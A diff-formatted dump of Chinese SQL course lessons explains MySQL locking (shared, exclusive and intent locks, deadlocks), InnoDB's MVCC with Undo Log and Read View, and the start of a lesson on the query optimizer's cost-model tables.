如果我们想要对表上的共享锁进行解锁,可以使用下面这行命令:
|
||||
|
||||
```
|
||||
UNLOCK TABLE;
|
||||
|
||||
```
|
||||
|
||||
如果我们想要给某一行加上共享锁呢,比如想对user_id=912178的数据行加上共享锁,可以像下面这样:
|
||||
|
||||
```
|
||||
SELECT comment_id, product_id, comment_text, user_id FROM product_comment WHERE user_id = 912178 LOCK IN SHARE MODE
|
||||
|
||||
```
|
||||
|
||||
排它锁也叫独占锁、写锁或X锁。排它锁锁定的数据只允许进行锁定操作的事务使用,其他事务无法对已锁定的数据进行查询或修改。
|
||||
|
||||
如果我们想给product_comment数据表添加排它锁,可以使用下面这行命令:
|
||||
|
||||
```
|
||||
LOCK TABLE product_comment WRITE;
|
||||
|
||||
```
|
||||
|
||||
这时只有获得排它锁的事务可以对product_comment进行查询或修改,其他事务如果想要在product_comment表上查询数据,则需要等待。你可以自己开两个MySQL客户端来模拟下。
|
||||
|
||||
这时我们释放掉排它锁,使用这行命令即可。
|
||||
|
||||
```
|
||||
UNLOCK TABLE;
|
||||
|
||||
```
|
||||
|
||||
同样的,如果我们想要在某个数据行上添加排它锁,比如针对user_id=912178的数据行,则写成如下这样:
|
||||
|
||||
```
|
||||
SELECT comment_id, product_id, comment_text, user_id FROM product_comment WHERE user_id = 912178 FOR UPDATE;
|
||||
|
||||
```
|
||||
|
||||
另外当我们对数据进行更新的时候,也就是`INSERT`、`DELETE`或者`UPDATE`的时候,数据库也会自动使用排它锁,防止其他事务对该数据行进行操作。
|
||||
|
||||
当我们想要获取某个数据表的排它锁的时候,需要先看下这张数据表有没有上了排它锁。如果这个数据表中的某个数据行被上了行锁,我们就无法获取排它锁。这时需要对数据表中的行逐一排查,检查是否有行锁,如果没有,才可以获取这张数据表的排它锁。这个过程是不是有些麻烦?这里就需要用到意向锁。
|
||||
|
||||
意向锁(Intent Lock),简单来说就是给更大一级别的空间示意里面是否已经上过锁。举个例子,你可以给整个房子设置一个标识,告诉它里面有人,即使你只是获取了房子中某一个房间的锁。这样其他人如果想要获取整个房子的控制权,只需要看这个房子的标识即可,不需要再对房子中的每个房间进行查找。这样是不是很方便?
|
||||
|
||||
返回数据表的场景,如果我们给某一行数据加上了排它锁,数据库会自动给更大一级的空间,比如数据页或数据表加上意向锁,告诉其他人这个数据页或数据表已经有人上过排它锁了,这样当其他人想要获取数据表排它锁的时候,只需要了解是否有人已经获取了这个数据表的意向排他锁即可。
|
||||
|
||||
如果事务想要获得数据表中某些记录的共享锁,就需要在数据表上添加意向共享锁。同理,事务想要获得数据表中某些记录的排他锁,就需要在数据表上添加意向排他锁。这时,意向锁会告诉其他事务已经有人锁定了表中的某些记录,不能对整个表进行全表扫描。
|
||||
|
||||
## 为什么共享锁会发生死锁的情况?
|
||||
|
||||
当我们使用共享锁的时候会出现死锁的风险,下面我们用两个MySQL客户端来模拟一下事务查询。
|
||||
|
||||
首先客户端1开启事务,然后采用读锁的方式对`user_id=912178`的数据行进行查询,这时事务没有提交的时候,这两行数据行上了读锁。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/94/48/94f4e7c282b6cbeae64f0bad5ac6cb48.png" alt=""><br>
|
||||
然后我们用客户端2开启事务,同样对`user_id=912178`获取读锁,理论上获取读锁后还可以对数据进行修改,比如执行下面这条语句:
|
||||
|
||||
```
|
||||
UPDATE product_comment SET product_i = 10002 WHERE user_id = 912178;
|
||||
|
||||
```
|
||||
|
||||
当我们执行的时候客户端2会一直等待,因为客户端1也获取了该数据的读锁,不需要客户端2对该数据进行修改。这时客户端2会提示等待超时,重新执行事务。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/10/16/10b9d284597012bcd237041d7c573a16.png" alt=""><br>
|
||||
你能看到当有多个事务对同一数据获得读锁的时候,可能会出现死锁的情况。
|
||||
|
||||
## 从程序员的角度对进行划分
|
||||
|
||||
如果从程序员的视角来看锁的话,可以将锁分成乐观锁和悲观锁,从名字中也可以看出这两种锁是两种看待数据并发的思维方式。
|
||||
|
||||
乐观锁(Optimistic Locking)认为对同一数据的并发操作不会总发生,属于小概率事件,不用每次都对数据上锁,也就是不采用数据库自身的锁机制,而是通过程序来实现。在程序上,我们可以采用版本号机制或者时间戳机制实现。
|
||||
|
||||
### 乐观锁的版本号机制
|
||||
|
||||
在表中设计一个版本字段version,第一次读的时候,会获取version字段的取值。然后对数据进行更新或删除操作时,会执行`UPDATE ... SET version=version+1 WHERE version=version`。此时如果已经有事务对这条数据进行了更改,修改就不会成功。
|
||||
|
||||
这种方式类似我们熟悉的SVN、CVS版本管理系统,当我们修改了代码进行提交时,首先会检查当前版本号与服务器上的版本号是否一致,如果一致就可以直接提交,如果不一致就需要更新服务器上的最新代码,然后再进行提交。
|
||||
|
||||
### 乐观锁的时间戳机制
|
||||
|
||||
时间戳和版本号机制一样,也是在更新提交的时候,将当前数据的时间戳和更新之前取得的时间戳进行比较,如果两者一致则更新成功,否则就是版本冲突。
|
||||
|
||||
你能看到乐观锁就是程序员自己控制数据并发操作的权限,基本是通过给数据行增加一个戳(版本号或者时间戳),从而证明当前拿到的数据是否最新。
|
||||
|
||||
悲观锁(Pessimistic Locking)也是一种思想,对数据被其他事务的修改持保守态度,会通过数据库自身的锁机制来实现,从而保证数据操作的排它性。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/0d/e3/0dd602515faab3b6b0cd0d42adaa87e3.png" alt=""><br>
|
||||
从这两种锁的设计思想中,你能看出乐观锁和悲观锁的适用场景:
|
||||
|
||||
<li>
|
||||
乐观锁适合读操作多的场景,相对来说写的操作比较少。它的优点在于程序实现,不存在死锁问题,不过适用场景也会相对乐观,因为它阻止不了除了程序以外的数据库操作。
|
||||
</li>
|
||||
<li>
|
||||
悲观锁适合写操作多的场景,因为写的操作具有排它性。采用悲观锁的方式,可以在数据库层面阻止其他事务对该数据的操作权限,防止读-写和写-写的冲突。
|
||||
</li>
|
||||
|
||||
## 总结
|
||||
|
||||
今天我们讲解了数据库中锁的划分,你能看到从不同维度都可以对锁进行划分,需要注意的是,乐观锁和悲观锁并不是锁,而是锁的设计思想。
|
||||
|
||||
既然有锁的存在,就有可能发生死锁的情况。死锁就是多个事务(如果是在程序层面就是多个进程)在执行过程中,因为竞争某个相同的资源而造成阻塞的现象。发生死锁,往往是因为在事务中,锁的获取是逐步进行的。
|
||||
|
||||
我在文章中举了一个例子,在客户端1获取某数据行共享锁的同时,另一个客户端2也获取了该数据行的共享锁,这时任何一个客户端都没法对这个数据进行更新,因为共享锁会阻止其他事务对数据的更新,当某个客户端想要对锁定的数据进行更新的时候,就出现了死锁的情况。当死锁发生的时候,就需要一个事务进行回滚,另一个事务获取锁完成事务,然后将锁释放掉,很像交通堵塞时候的解决方案。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/97/7f/9794e3a155edbf8d7b68a7ff8910fc7f.jpg" alt=""><br>
|
||||
我们都不希望出现死锁的情况,可以采取一些方法避免死锁的发生:
|
||||
|
||||
1. 如果事务涉及多个表,操作比较复杂,那么可以尽量一次锁定所有的资源,而不是逐步来获取,这样可以减少死锁发生的概率;
|
||||
1. 如果事务需要更新数据表中的大部分数据,数据表又比较大,这时可以采用锁升级的方式,比如将行级锁升级为表级锁,从而减少死锁产生的概率;
|
||||
1. 不同事务并发读写多张数据表,可以约定访问表的顺序,采用相同的顺序降低死锁发生的概率。
|
||||
|
||||
当然在数据库中,也有一些情况是不会发生死锁的,比如采用乐观锁的方式。另外在MySQL MyISAM存储引擎中也不会出现死锁,这是因为MyISAM总是一次性获得全部的锁,这样的话要么全部满足可以执行,要么就需要全部等待。
|
||||
|
||||
最后你有没有想过,使用MySQL InnoDB存储引擎时,为什么对某行数据添加排它锁之前,会在数据表上添加意向排他锁呢?
|
||||
|
||||
欢迎你在评论区写下你的思考,也欢迎把这篇文章分享给你的朋友或者同事,一起来进步。
|
||||
206
极客时间专栏/geek/SQL必知必会/第二章:SQL性能优化篇/31丨为什么大部分RDBMS都会支持MVCC?.md
Normal file
206
极客时间专栏/geek/SQL必知必会/第二章:SQL性能优化篇/31丨为什么大部分RDBMS都会支持MVCC?.md
Normal file
@@ -0,0 +1,206 @@
|
||||
<audio id="audio" title="31丨为什么大部分RDBMS都会支持MVCC?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/1d/d7/1d78247871bc416f46dfaeb8e3aa5cd7.mp3"></audio>
|
||||
|
||||
上一篇文章中,我们讲到了锁的划分,以及乐观锁和悲观锁的思想。今天我们就来看下MVCC,它就是采用乐观锁思想的一种方式。那么它到底有什么用呢?
|
||||
|
||||
我们知道事务有4个隔离级别,以及可能存在的三种异常问题,如下图所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/c2/9b/c2e9a4ce5793b031f3846890d0f6189b.png" alt=""><br>
|
||||
在MySQL中,默认的隔离级别是可重复读,可以解决脏读和不可重复读的问题,但不能解决幻读问题。如果我们想要解决幻读问题,就需要采用串行化的方式,也就是将隔离级别提升到最高,但这样一来就会大幅降低数据库的事务并发能力。
|
||||
|
||||
有没有一种方式,可以不采用锁机制,而是通过乐观锁的方式来解决不可重复读和幻读问题呢?实际上MVCC机制的设计,就是用来解决这个问题的,它可以在大多数情况下替代行级锁,降低系统的开销。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/56/a0/568bb507e1edb431d8121a2cb5c7caa0.png" alt=""><br>
|
||||
今天的课程主要包括以下几个方面的内容:
|
||||
|
||||
1. MVCC机制的思想是什么?为什么RDBMS会采用MVCC机制?
|
||||
1. 在InnoDB中,MVCC机制是如何实现的 ?
|
||||
1. Read View是如何工作的?
|
||||
|
||||
## MVCC是什么,解决了什么问题
|
||||
|
||||
MVCC的英文全称是Multiversion Concurrency Control,中文翻译过来就是多版本并发控制技术。从名字中也能看出来,MVCC是通过数据行的多个版本管理来实现数据库的并发控制,简单来说它的思想就是保存数据的历史版本。这样我们就可以通过比较版本号决定数据是否显示出来(具体的规则后面会介绍到),读取数据的时候不需要加锁也可以保证事务的隔离效果。
|
||||
|
||||
通过MVCC我们可以解决以下几个问题:
|
||||
|
||||
1. 读写之间阻塞的问题,通过MVCC可以让读写互相不阻塞,即读不阻塞写,写不阻塞读,这样就可以提升事务并发处理能力。
|
||||
1. 降低了死锁的概率。这是因为MVCC采用了乐观锁的方式,读取数据时并不需要加锁,对于写操作,也只锁定必要的行。
|
||||
1. 解决一致性读的问题。一致性读也被称为快照读,当我们查询数据库在某个时间点的快照时,只能看到这个时间点之前事务提交更新的结果,而不能看到这个时间点之后事务提交的更新结果。
|
||||
|
||||
### 什么是快照读,什么是当前读
|
||||
|
||||
那么什么是快照读呢?快照读读取的是快照数据。不加锁的简单的SELECT都属于快照读,比如这样:
|
||||
|
||||
```
|
||||
SELECT * FROM player WHERE ...
|
||||
|
||||
```
|
||||
|
||||
当前读就是读取最新数据,而不是历史版本的数据。加锁的SELECT,或者对数据进行增删改都会进行当前读,比如:
|
||||
|
||||
```
|
||||
SELECT * FROM player LOCK IN SHARE MODE;
|
||||
|
||||
```
|
||||
|
||||
```
|
||||
SELECT * FROM player FOR UPDATE;
|
||||
|
||||
```
|
||||
|
||||
```
|
||||
INSERT INTO player values ...
|
||||
|
||||
```
|
||||
|
||||
```
|
||||
DELETE FROM player WHERE ...
|
||||
|
||||
```
|
||||
|
||||
```
|
||||
UPDATE player SET ...
|
||||
|
||||
```
|
||||
|
||||
这里需要说明的是,快照读就是普通的读操作,而当前读包括了加锁的读取和DML操作。
|
||||
|
||||
上面讲MVCC的作用,你可能觉得有些抽象。我们用具体的例子体会一下。
|
||||
|
||||
比如我们有个账户金额表user_balance,包括三个字段,分别是username用户名、balance余额和bankcard卡号,具体的数据示意如下:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/be/46/bec7af5d84bc7d4295fd205491d85e46.png" alt=""><br>
|
||||
为了方便,我们假设user_balance表中只有用户A和B有余额,其他人的账户余额均为0。下面我们考虑一个使用场景。
|
||||
|
||||
用户A和用户B之间进行转账,此时数据库管理员想要查询user_balance表中的总金额:
|
||||
|
||||
```
|
||||
SELECT SUM(balance) FROM user_balance
|
||||
|
||||
```
|
||||
|
||||
你可以思考下,如果数据库不支持MVCC机制,而是采用自身的锁机制来实现的话,可能会出现怎样的情况呢?
|
||||
|
||||
情况1:因为需要采用加行锁的方式,用户A给B转账时间等待很久,如下图所示。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/2d/27/2df06836628ce9735364ca932003f927.png" alt=""><br>
|
||||
你能看到为了保证数据的一致性,我们需要给统计到的数据行都加上行锁。这时如果A所在的数据行加上了行锁,就不能给B转账了,只能等到所有操作完成之后,释放行锁再继续进行转账,这样就会造成用户事务处理的等待时间过长。
|
||||
|
||||
情况2:当我们读取的时候用了加行锁,可能会出现死锁的情况,如下图所示。比如当我们读到A有1000元的时候,此时B开始执行给A转账:
|
||||
|
||||
```
|
||||
UPDATE user_balance SET balance=balance-100 WHERE username ='B'
|
||||
|
||||
|
||||
```
|
||||
|
||||
执行完之后马上执行下一步:
|
||||
|
||||
```
|
||||
UPDATE user_balance SET balance=balance+100 WHERE username ='A'
|
||||
|
||||
```
|
||||
|
||||
我们会发现此时A被锁住了,而管理员事务还需要对B进行访问,但B被用户事务锁住了,此时就发生了死锁。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/3b/41/3b6c7ae9db7e1952fd9ae264e7147b41.png" alt=""><br>
|
||||
MVCC可以解决读写互相阻塞的问题,这样提升了效率,同时因为采用了乐观锁的思想,降低了死锁的概率。
|
||||
|
||||
## InnoDB中的MVCC是如何实现的?
|
||||
|
||||
我刚才讲解了MVCC的思想和作用,实际上MVCC没有正式的标准,所以在不同的DBMS中,MVCC的实现方式可能是不同的,你可以参考相关的DBMS文档。今天我来讲一下InnoDB中MVCC的实现机制。
|
||||
|
||||
在了解InnoDB中MVCC的实现方式之前,我们需要了解InnoDB是如何存储记录的多个版本的。这里的多版本对应的就是MVCC前两个字母的释义:Multi Version,我们需要了解和它相关的数据都有哪些,存储在哪里。这些数据包括事务版本号、行记录中的隐藏列和Undo Log。
|
||||
|
||||
### 事务版本号
|
||||
|
||||
每开启一个事务,我们都会从数据库中获得一个事务ID(也就是事务版本号),这个事务ID是自增长的,通过ID大小,我们就可以判断事务的时间顺序。
|
||||
|
||||
### 行记录的隐藏列
|
||||
|
||||
InnoDB的叶子段存储了数据页,数据页中保存了行记录,而在行记录中有一些重要的隐藏字段,如下图所示:
|
||||
|
||||
1. db_row_id:隐藏的行ID,用来生成默认聚集索引。如果我们创建数据表的时候没有指定聚集索引,这时InnoDB就会用这个隐藏ID来创建聚集索引。采用聚集索引的方式可以提升数据的查找效率。
|
||||
1. db_trx_id:操作这个数据的事务ID,也就是最后一个对该数据进行插入或更新的事务ID。
|
||||
1. db_roll_ptr:回滚指针,也就是指向这个记录的Undo Log信息。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/d1/20/d15a5d0a313492b208d2aad410173b20.png" alt="">
|
||||
|
||||
### Undo Log
|
||||
|
||||
InnoDB将行记录快照保存在了Undo Log里,我们可以在回滚段中找到它们,如下图所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/47/81/4799c77b8cdfda50e49a391fea727281.png" alt=""><br>
|
||||
从图中你能看到回滚指针将数据行的所有快照记录都通过链表的结构串联了起来,每个快照的记录都保存了当时的db_trx_id,也是那个时间点操作这个数据的事务ID。这样如果我们想要找历史快照,就可以通过遍历回滚指针的方式进行查找。
|
||||
|
||||
## Read View是如何工作的
|
||||
|
||||
在MVCC机制中,多个事务对同一个行记录进行更新会产生多个历史快照,这些历史快照保存在Undo Log里。如果一个事务想要查询这个行记录,需要读取哪个版本的行记录呢?这时就需要用到Read View了,它帮我们解决了行的可见性问题。Read View保存了当前事务开启时所有活跃(还没有提交)的事务列表,换个角度你可以理解为Read View保存了不应该让这个事务看到的其他的事务ID列表。
|
||||
|
||||
在Read VIew中有几个重要的属性:
|
||||
|
||||
1. trx_ids,系统当前正在活跃的事务ID集合。
|
||||
1. low_limit_id,活跃的事务中最大的事务ID。
|
||||
1. up_limit_id,活跃的事务中最小的事务ID。
|
||||
1. creator_trx_id,创建这个Read View的事务ID。
|
||||
|
||||
如图所示,trx_ids为trx2、trx3、trx5和trx8的集合,活跃的最大事务ID(low_limit_id)为trx8,活跃的最小事务ID(up_limit_id)为trx2。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/a7/00/a7fe7d4a0e25fce469c3d00e5e3ec600.png" alt=""><br>
|
||||
假设当前有事务creator_trx_id想要读取某个行记录,这个行记录的事务ID为trx_id,那么会出现以下几种情况。
|
||||
|
||||
如果trx_id < 活跃的最小事务ID(up_limit_id),也就是说这个行记录在这些活跃的事务创建之前就已经提交了,那么这个行记录对该事务是可见的。
|
||||
|
||||
如果trx_id > 活跃的最大事务ID(low_limit_id),这说明该行记录在这些活跃的事务创建之后才创建,那么这个行记录对当前事务不可见。
|
||||
|
||||
如果up_limit_id < trx_id < low_limit_id,说明该行记录所在的事务trx_id在目前creator_trx_id这个事务创建的时候,可能还处于活跃的状态,因此我们需要在trx_ids集合中进行遍历,如果trx_id存在于trx_ids集合中,证明这个事务trx_id还处于活跃状态,不可见。否则,如果trx_id不存在于trx_ids集合中,证明事务trx_id已经提交了,该行记录可见。
|
||||
|
||||
了解了这些概念之后,我们来看下当查询一条记录的时候,系统如何通过多版本并发控制技术找到它:
|
||||
|
||||
1. 首先获取事务自己的版本号,也就是事务ID;
|
||||
1. 获取Read View;
|
||||
1. 查询得到的数据,然后与Read View中的事务版本号进行比较;
|
||||
1. 如果不符合ReadView规则,就需要从Undo Log中获取历史快照;
|
||||
1. 最后返回符合规则的数据。
|
||||
|
||||
你能看到InnoDB中,MVCC是通过Undo Log + Read View进行数据读取,Undo Log保存了历史快照,而Read View规则帮我们判断当前版本的数据是否可见。
|
||||
|
||||
需要说明的是,在隔离级别为读已提交(Read Commit)时,一个事务中的每一次SELECT查询都会获取一次Read View。如表所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/5d/5c/5dfd6b7491484ad49efc5f08b214bf5c.png" alt=""><br>
|
||||
你能看到,在读已提交的隔离级别下,同样的查询语句都会重新获取一次Read View,这时如果Read View不同,就可能产生不可重复读或者幻读的情况。
|
||||
|
||||
当隔离级别为可重复读的时候,就避免了不可重复读,这是因为一个事务只在第一次SELECT的时候会获取一次Read View,而后面所有的SELECT都会复用这个Read View,如下表所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/7b/f2/7b9c80fb892f858e08a64fc8ef7257f2.png" alt="">
|
||||
|
||||
## InnoDB是如何解决幻读的
|
||||
|
||||
不过这里需要说明的是,在可重复读的情况下,InnoDB可以通过Next-Key锁+MVCC来解决幻读问题。
|
||||
|
||||
在读已提交的情况下,即使采用了MVCC方式也会出现幻读。如果我们同时开启事务A和事务B,先在事务A中进行某个条件范围的查询,读取的时候采用排它锁,在事务B中增加一条符合该条件范围的数据,并进行提交,然后我们在事务A中再次查询该条件范围的数据,就会发现结果集中多出一个符合条件的数据,这样就出现了幻读。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/4f/cb/4f112ba8411db336f58c8db9c9e8f0cb.png" alt=""><br>
|
||||
出现幻读的原因是在读已提交的情况下,InnoDB只采用记录锁(Record Locking)。这里要介绍下InnoDB三种行锁的方式:
|
||||
|
||||
1. 记录锁:针对单个行记录添加锁。
|
||||
1. 间隙锁(Gap Locking):可以帮我们锁住一个范围(索引之间的空隙),但不包括记录本身。采用间隙锁的方式可以防止幻读情况的产生。
|
||||
1. Next-Key锁:帮我们锁住一个范围,同时锁定记录本身,相当于间隙锁+记录锁,可以解决幻读的问题。
|
||||
|
||||
在隔离级别为可重复读时,InnoDB会采用Next-Key锁的机制,帮我们解决幻读问题。
|
||||
|
||||
还是这个例子,我们能看到当我们想要插入球员艾利克斯·伦(身高2.16米)的时候,事务B会超时,无法插入该数据。这是因为采用了Next-Key锁,会将height>2.08的范围都进行锁定,就无法插入符合这个范围的数据了。然后事务A重新进行条件范围的查询,就不会出现幻读的情况。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/3b/4e/3b876d3a4d5c11352ba10cebf9c7ab4e.png" alt="">
|
||||
|
||||
## 总结
|
||||
|
||||
今天关于MVCC的内容有些多,通过学习你应该能对采用MVCC这种乐观锁的方式来保证事务的隔离效果更有体会。
|
||||
|
||||
我们需要记住,MVCC的核心就是Undo Log+ Read View,“MV”就是通过Undo Log来保存数据的历史版本,实现多版本的管理,“CC”是通过Read View来实现管理,通过Read View原则来决定数据是否显示。同时针对不同的隔离级别,Read View的生成策略不同,也就实现了不同的隔离级别。
|
||||
|
||||
MVCC是一种机制,MySQL、Oracle、SQL Server和PostgreSQL的实现方式均有不同,我们在学习的时候,更主要的是要理解MVCC的设计思想。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/4f/5a/4f1cb2414cae9216ee6b3a5fa19a855a.jpg" alt=""><br>
|
||||
最后给你留几道思考题吧,为什么隔离级别为读未提交时,不适用于MVCC机制呢?第二个问题是,读已提交和可重复读这两个隔离级别的Read View策略有何不同?
|
||||
|
||||
欢迎你在评论区写下你的思考,也欢迎把这篇文章分享给你的朋友或者同事,让我们一起来学习进步。
|
||||
141
极客时间专栏/geek/SQL必知必会/第二章:SQL性能优化篇/32丨查询优化器是如何工作的?.md
Normal file
141
极客时间专栏/geek/SQL必知必会/第二章:SQL性能优化篇/32丨查询优化器是如何工作的?.md
Normal file
@@ -0,0 +1,141 @@
|
||||
<audio id="audio" title="32丨查询优化器是如何工作的?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/0e/e0/0ee4889b72141f4094d9ddcb104a15e0.mp3"></audio>
|
||||
|
||||
我们总是希望数据库可以运行得更快,也就是响应时间更快,吞吐量更大。想要达到这样的目的,我们一方面需要高并发的事务处理能力,另一方面需要创建合适的索引,让数据的查找效率最大化。事务和索引的使用是数据库中的两个重要核心,事务可以让数据库在增删查改的过程中,保证数据的正确性和安全性,而索引可以帮数据库提升数据的查找效率。
|
||||
|
||||
如果我们想要知道如何获取更高的SQL查询性能,最好的方式就是理解数据库是如何进行查询优化和执行的。
|
||||
|
||||
今天我们就来看看查询优化的原理是怎么一回事。今天的主要内容包括以下几个部分:
|
||||
|
||||
1. 什么是查询优化器?一条SQL语句的执行流程都会经历哪些环节,在查询优化器中都包括了哪些部分?
|
||||
1. 查询优化器的两种优化方式分别是什么?
|
||||
1. 基于代价的优化器是如何统计代价的?总的代价又如何计算?
|
||||
|
||||
## 什么是查询优化器
|
||||
|
||||
了解查询优化器的作用之前,我们先来看看一条SQL语句的执行都需要经历哪些环节,如下图所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/67/31/6776cd76ea50db263bfd9d58c4d98631.png" alt=""><br>
|
||||
你能看到一条SQL查询语句首先会经过分析器,进行语法分析和语义检查。我们之前讲过语法分析是检查SQL拼写和语法是否正确,语义检查是检查SQL中的访问对象是否存在。比如我们在写SELECT语句的时候,列名写错了,系统就会提示错误。语法检查和语义检查可以保证SQL语句没有错误,最终得到一棵语法分析树,然后经过查询优化器得到查询计划,最后交给执行器进行执行。
|
||||
|
||||
查询优化器的目标是找到执行SQL查询的最佳执行计划,执行计划就是查询树,它由一系列物理操作符组成,这些操作符按照一定的运算关系组成查询的执行计划。在查询优化器中,可以分为逻辑查询优化阶段和物理查询优化阶段。
|
||||
|
||||
逻辑查询优化就是通过改变SQL语句的内容来使得SQL查询更高效,同时为物理查询优化提供更多的候选执行计划。通常采用的方式是对SQL语句进行等价变换,对查询进行重写,而查询重写的数学基础就是关系代数。对条件表达式进行等价谓词重写、条件简化,对视图进行重写,对子查询进行优化,对连接语义进行了外连接消除、嵌套连接消除等。
|
||||
|
||||
逻辑查询优化是基于关系代数进行的查询重写,而关系代数的每一步都对应着物理计算,这些物理计算往往存在多种算法,因此需要计算各种物理路径的代价,从中选择代价最小的作为执行计划。在这个阶段里,对于单表和多表连接的操作,需要高效地使用索引,提升查询效率。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/65/fa/650cd690c532161de1b0e856d4b067fa.png" alt=""><br>
|
||||
在这两个阶段中,查询重写属于代数级、语法级的优化,也就是属于逻辑范围内的优化,而基于代价的估算模型是从连接路径中选择代价最小的路径,属于物理层面的优化。
|
||||
|
||||
## 查询优化器的两种优化方式
|
||||
|
||||
查询优化器的目的就是生成最佳的执行计划,而生成最佳执行计划的策略通常有以下两种方式。
|
||||
|
||||
第一种是基于规则的优化器(RBO,Rule-Based Optimizer),规则就是人们以往的经验,或者是采用已经被证明是有效的方式。通过在优化器里面嵌入规则,来判断SQL查询符合哪种规则,就按照相应的规则来制定执行计划,同时采用启发式规则去掉明显不好的存取路径。
|
||||
|
||||
第二种是基于代价的优化器(CBO,Cost-Based Optimizer),这里会根据代价评估模型,计算每条可能的执行计划的代价,也就是COST,从中选择代价最小的作为执行计划。相比于RBO来说,CBO对数据更敏感,因为它会利用数据表中的统计信息来做判断,针对不同的数据表,查询得到的执行计划可能是不同的,因此制定出来的执行计划也更符合数据表的实际情况。
|
||||
|
||||
但我们需要记住,SQL是面向集合的语言,并没有指定执行的方式,因此在优化器中会存在各种组合的可能。我们需要通过优化器来制定数据表的扫描方式、连接方式以及连接顺序,从而得到最佳的SQL执行计划。
|
||||
|
||||
你能看出来,RBO的方式更像是一个出租车老司机,凭借自己的经验来选择从A到B的路径。而CBO更像是手机导航,通过数据驱动,来选择最佳的执行路径。
|
||||
|
||||
## CBO是如何统计代价的
|
||||
|
||||
大部分RDBMS都支持基于代价的优化器(CBO),CBO随着版本的迭代也越来越成熟,但是CBO依然存在缺陷。通过对CBO工作原理的了解,我们可以知道CBO可能存在的不足有哪些,有助于让我们知道优化器是如何确定执行计划的。
|
||||
|
||||
### 能调整的代价模型的参数有哪些
|
||||
|
||||
首先,我们先来了解下MySQL中的`COST Model`,`COST Model`就是优化器用来统计各种步骤的代价模型,在5.7.10版本之后,MySQL会引入两张数据表,里面规定了各种步骤预估的代价(Cost Value) ,我们可以从`mysql.server_cost`和`mysql.engine_cost`这两张表中获得这些步骤的代价:
|
||||
|
||||
```
|
||||
SQL > SELECT * FROM mysql.server_cost
|
||||
|
||||
```
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/d5/e7/d571ea13f753ed24eedf6f20183e2ae7.png" alt=""><br>
|
||||
server_cost数据表是在server层统计的代价,具体的参数含义如下:
|
||||
|
||||
1. `disk_temptable_create_cost`,表示临时表文件(MyISAM或InnoDB)的创建代价,默认值为20。
|
||||
1. `disk_temptable_row_cost`,表示临时表文件(MyISAM或InnoDB)的行代价,默认值0.5。
|
||||
1. `key_compare_cost`,表示键比较的代价。键比较的次数越多,这项的代价就越大,这是一个重要的指标,默认值0.05。
|
||||
1. `memory_temptable_create_cost`,表示内存中临时表的创建代价,默认值1。
|
||||
1. `memory_temptable_row_cost`,表示内存中临时表的行代价,默认值0.1。
|
||||
1. `row_evaluate_cost`,统计符合条件的行代价,如果符合条件的行数越多,那么这一项的代价就越大,因此这是个重要的指标,默认值0.1。
|
||||
|
||||
由这张表中可以看到,如果想要创建临时表,尤其是在磁盘中创建相应的文件,代价还是很高的。
|
||||
|
||||
然后我们看下在存储引擎层都包括了哪些代价:
|
||||
|
||||
```
|
||||
SQL > SELECT * FROM mysql.engine_cost
|
||||
|
||||
```
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/96/72/969377b6a1348175ce211f137e2cf572.png" alt=""><br>
|
||||
`engine_cost`主要统计了页加载的代价,我们之前了解到,一个页的加载根据页所在位置的不同,读取的位置也不同,可以从磁盘I/O中获取,也可以从内存中读取。因此在`engine_cost`数据表中对这两个读取的代价进行了定义:
|
||||
|
||||
1. `io_block_read_cost`,从磁盘中读取一页数据的代价,默认是1。
|
||||
1. `memory_block_read_cost`,从内存中读取一页数据的代价,默认是0.25。
|
||||
|
||||
既然MySQL将这些代价参数以数据表的形式呈现给了我们,我们就可以根据实际情况去修改这些参数。因为随着硬件的提升,各种硬件的性能对比也可能发生变化,比如针对普通硬盘的情况,可以考虑适当增加`io_block_read_cost`的数值,这样就代表从磁盘上读取一页数据的成本变高了。当我们执行全表扫描的时候,相比于范围查询,成本也会增加很多。
|
||||
|
||||
比如我想将`io_block_read_cost`参数设置为2.0,那么使用下面这条命令就可以:
|
||||
|
||||
```
|
||||
UPDATE mysql.engine_cost
|
||||
SET cost_value = 2.0
|
||||
WHERE cost_name = 'io_block_read_cost';
|
||||
FLUSH OPTIMIZER_COSTS;
|
||||
|
||||
```
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/d5/96/d5e43099f925fc5d271055d69c0d6996.png" alt=""><br>
|
||||
我们对`mysql.engine_cost`中的`io_block_read_cost`参数进行了修改,然后使用`FLUSH OPTIMIZER_COSTS`更新内存,然后再查看`engine_cost`数据表,发现`io_block_read_cost`参数中的`cost_value`已经调整为2.0。
|
||||
|
||||
如果我们想要专门针对某个存储引擎,比如InnoDB存储引擎设置`io_block_read_cost`,比如设置为2,可以这样使用:
|
||||
|
||||
```
|
||||
INSERT INTO mysql.engine_cost(engine_name, device_type, cost_name, cost_value, last_update, comment)
|
||||
VALUES ('InnoDB', 0, 'io_block_read_cost', 2,
|
||||
CURRENT_TIMESTAMP, 'Using a slower disk for InnoDB');
|
||||
FLUSH OPTIMIZER_COSTS;
|
||||
|
||||
```
|
||||
|
||||
然后我们再查看一下`mysql.engine_cost`数据表:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/4d/75/4def533e214f9a99f39d6ad62cc2b775.png" alt=""><br>
|
||||
